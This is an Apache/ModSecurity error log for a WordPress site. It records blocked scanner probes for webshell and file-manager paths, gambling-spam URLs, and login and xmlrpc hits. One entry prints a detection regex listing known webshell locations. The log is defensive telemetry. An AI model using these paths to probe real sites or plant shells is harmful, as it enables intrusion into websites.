[Wed Apr 15 21:57:05.353349 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:1433] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-ZMXg-gnM2Ga0cGACKBgAAARg"]
[Wed Apr 15 21:57:06.399790 2026] [:error] [pid 30958:tid 31025] [client 172.161.107.89:59229] [client 172.161.107.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "ad-ZMseG3wSKTO7NWFHUTQAAAMk"]
[Wed Apr 15 21:57:07.003431 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:47018] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-ZMxcEkLCmvF0fjDcVEwAAAIg"]
[Wed Apr 15 21:57:07.698709 2026] [:error] [pid 31053:tid 31080] [client 172.161.107.89:41688] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-ZMxcEkLCmvF0fjDcVFAAAAJg"]
[Wed Apr 15 21:57:08.329959 2026] [:error] [pid 30957:tid 31005] [client 172.161.107.89:64389] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-ZNH5gwVEVXHfVSiqtpgAAAFA"]
[Wed Apr 15 21:57:09.063373 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:53411] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad-ZNRcEkLCmvF0fjDcVGQAAAIE"]
[Wed Apr 15 21:57:09.821881 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:45738] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "ad-ZNX5gwVEVXHfVSiqtpwAAAFU"]
[Wed Apr 15 21:57:10.349310 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:1819] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "ad-ZNhcEkLCmvF0fjDcVJAAAAII"]
[Wed Apr 15 21:57:10.944951 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:54762] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "ad-ZNhcEkLCmvF0fjDcVJgAAAIk"]
[Wed Apr 15 21:57:11.632819 2026] [:error] [pid 23913:tid 23920] [client 172.161.107.89:59233] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "ad-ZN1UaK3MLdSaLOyi24wAAAUU"]
[Wed Apr 15 22:18:08.527983 2026] [:error] [pid 37370:tid 37380] [client 192.144.148.122:52962] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad-eIHg-gnM2Ga0cGACSOQAAAQg"]
[Wed Apr 15 23:32:04.988906 2026] [:error] [pid 23913:tid 23934] [client 124.123.154.179:7498] [client 124.123.154.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.123.154.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ad-vdFUaK3MLdSaLOyjgGgAAAVM"]
[Thu Apr 16 00:36:58.113807 2026] [:error] [pid 16664:tid 16727] [client 216.73.163.55:37097] [client 216.73.163.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.55, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ad--qjdzt684awDJwRTLqQAAAYg"]
[Thu Apr 16 01:10:26.829467 2026] [rewrite:error] [pid 16664:tid 16739] [client 107.172.195.146:36576] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 01:11:38.669423 2026] [rewrite:error] [pid 31053:tid 31070] [client 104.164.173.74:25824] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 01:32:56.173671 2026] [rewrite:error] [pid 16664:tid 16736] [client 104.164.126.95:2876] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 01:49:20.426837 2026] [rewrite:error] [pid 912:tid 972] [client 104.164.126.72:48300] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 02:21:44.260316 2026] [:error] [pid 20548:tid 20555] [client 43.130.174.37:59728] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad_XOKkpqgnqCHq6bJbD5wAAAIQ"]
[Thu Apr 16 02:28:33.521871 2026] [rewrite:error] [pid 34542:tid 34552] [client 103.4.251.192:13914] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 02:33:10.011410 2026] [:error] [pid 791:tid 844] [client 216.73.216.211:8967] [client 216.73.216.211] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "ad_Z5rxl5Y18om2fepngNwAAAEQ"]
[Thu Apr 16 02:43:15.174825 2026] [:error] [pid 54814:tid 54826] [client 91.200.101.138:51454] [client 91.200.101.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/graphql"] [unique_id "ad_cQzrHu_-tAAe-BOW9jwAAAYY"]
[Thu Apr 16 02:46:19.106372 2026] [rewrite:error] [pid 20548:tid 20553] [client 103.4.251.64:19708] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Thu Apr 16 03:02:30.526560 2026] [:error] [pid 912:tid 981] [client 216.73.216.211:54418] [client 216.73.216.211] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "ad_gxsU0_VzYCBipADlAWAAAAQ0"]
[Thu Apr 16 04:27:54.077388 2026] [:error] [pid 57537:tid 57586] [client 20.91.140.49:9389] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_0ylVQRS8nm73ENAkTiAAAAEs"]
[Thu Apr 16 04:27:55.154995 2026] [:error] [pid 57538:tid 57622] [client 20.91.140.49:46057] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_0y8uMaiEF5SVR2BcARQAAAJQ"]
[Thu Apr 16 04:27:57.029412 2026] [:error] [pid 57536:tid 57550] [client 20.91.140.49:31067] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_0zSQU4faGja6jpDtokgAAAAI"]
[Thu Apr 16 04:27:58.849689 2026] [:error] [pid 29603:tid 29610] [client 20.91.140.49:31036] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_0zlfGOR6fpTWUAzp3SgAAAQU"]
[Thu Apr 16 04:44:18.340300 2026] [:error] [pid 57536:tid 57548] [client 182.40.104.255:57854] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad_4oiQU4faGja6jpDtsuQAAAAA"]
[Thu Apr 16 06:49:02.177042 2026] [:error] [pid 57537:tid 57594] [client 147.135.128.94:34698] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeAV3lVQRS8nm73ENAk4YgAAAFM"]
[Thu Apr 16 06:49:04.557298 2026] [:error] [pid 57537:tid 57578] [client 147.135.128.94:42926] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeAV4FVQRS8nm73ENAk4ZwAAAEM"]
[Thu Apr 16 06:49:07.041946 2026] [:error] [pid 29603:tid 29610] [client 147.135.128.94:42940] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeAV41fGOR6fpTWUAzrScgAAAQU"]
[Thu Apr 16 06:49:09.311352 2026] [:error] [pid 29603:tid 29617] [client 147.135.128.94:58244] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeAV5VfGOR6fpTWUAzrSeQAAAQw"]
[Thu Apr 16 06:49:11.759201 2026] [:error] [pid 57536:tid 57565] [client 147.135.128.94:58248] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeAV5yQU4faGja6jpDuEvAAAABE"]
[Thu Apr 16 06:49:14.185746 2026] [:error] [pid 57536:tid 57570] [client 147.135.128.94:58252] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeAV6iQU4faGja6jpDuExAAAABY"]
[Thu Apr 16 06:49:16.558876 2026] [:error] [pid 57538:tid 57624] [client 147.135.128.94:58268] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeAV7MuMaiEF5SVR2Bc-nwAAAJY"]
[Thu Apr 16 06:49:18.977696 2026] [:error] [pid 49094:tid 49097] [client 147.135.128.94:47378] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeAV7jbDwvcXorHR_MyeawAAAUE"]
[Thu Apr 16 06:49:21.355882 2026] [:error] [pid 57538:tid 57605] [client 147.135.128.94:47394] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeAV8cuMaiEF5SVR2Bc-qQAAAIM"]
[Thu Apr 16 06:49:23.733390 2026] [:error] [pid 49094:tid 49102] [client 147.135.128.94:47408] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeAV8zbDwvcXorHR_MyehAAAAUY"]
[Thu Apr 16 06:49:26.260483 2026] [:error] [pid 57538:tid 57623] [client 147.135.128.94:47424] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeAV9suMaiEF5SVR2Bc-tAAAAJU"]
[Thu Apr 16 06:49:28.664840 2026] [:error] [pid 49094:tid 49102] [client 147.135.128.94:48382] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeAV-DbDwvcXorHR_MyejQAAAUY"]
[Thu Apr 16 06:49:31.054884 2026] [:error] [pid 57639:tid 57666] [client 147.135.128.94:48390] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeAV-6MCQoTw7TsxWunPfgAAANQ"]
[Thu Apr 16 06:49:33.564657 2026] [:error] [pid 57537:tid 57579] [client 147.135.128.94:48400] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeAV_VVQRS8nm73ENAk4eAAAAEQ"]
[Thu Apr 16 06:49:35.972400 2026] [:error] [pid 57538:tid 57608] [client 147.135.128.94:48404] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeAV_8uMaiEF5SVR2Bc-wgAAAIY"]
[Thu Apr 16 06:49:38.524085 2026] [:error] [pid 57536:tid 57559] [client 147.135.128.94:46364] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeAWAiQU4faGja6jpDuE4AAAAAs"]
[Thu Apr 16 06:49:40.874633 2026] [:error] [pid 49094:tid 49106] [client 147.135.128.94:46368] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeAWBDbDwvcXorHR_MyfBgAAAUo"]
[Thu Apr 16 06:49:43.096196 2026] [:error] [pid 57538:tid 57621] [client 147.135.128.94:46378] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeAWB8uMaiEF5SVR2Bc-yQAAAJM"]
[Thu Apr 16 06:49:45.484679 2026] [:error] [pid 57538:tid 57609] [client 147.135.128.94:46394] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeAWCcuMaiEF5SVR2Bc-ywAAAIc"]
[Thu Apr 16 06:49:47.988837 2026] [:error] [pid 49094:tid 49097] [client 147.135.128.94:42818] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeAWCzbDwvcXorHR_MyfIwAAAUE"]
[Thu Apr 16 06:49:50.542488 2026] [:error] [pid 29603:tid 29615] [client 147.135.128.94:42824] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeAWDlfGOR6fpTWUAzrS2gAAAQo"]
[Thu Apr 16 06:49:52.888648 2026] [:error] [pid 57639:tid 57646] [client 147.135.128.94:42828] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeAWEKMCQoTw7TsxWunPmAAAAMA"]
[Thu Apr 16 06:49:55.421447 2026] [:error] [pid 57537:tid 57599] [client 147.135.128.94:42840] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeAWE1VQRS8nm73ENAk4jgAAAFg"]
[Thu Apr 16 06:49:57.957046 2026] [:error] [pid 29603:tid 29628] [client 147.135.128.94:38114] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeAWFVfGOR6fpTWUAzrS6wAAARc"]
[Thu Apr 16 06:50:18.862895 2026] [:error] [pid 57538:tid 57624] [client 147.135.128.94:38130] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeAWKsuMaiEF5SVR2Bc_CQAAAJY"]
[Thu Apr 16 06:50:21.293944 2026] [:error] [pid 57538:tid 57619] [client 147.135.128.94:59972] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeAWLcuMaiEF5SVR2Bc_DwAAAJE"]
[Thu Apr 16 07:33:24.832380 2026] [:error] [pid 57536:tid 57550] [client 170.106.192.3:52450] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeAgRCQU4faGja6jpDuLzQAAAAI"]
[Thu Apr 16 08:44:59.216050 2026] [:error] [pid 57536:tid 57551] [client 43.166.244.251:37636] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeAxCyQU4faGja6jpDuYUwAAAAM"]
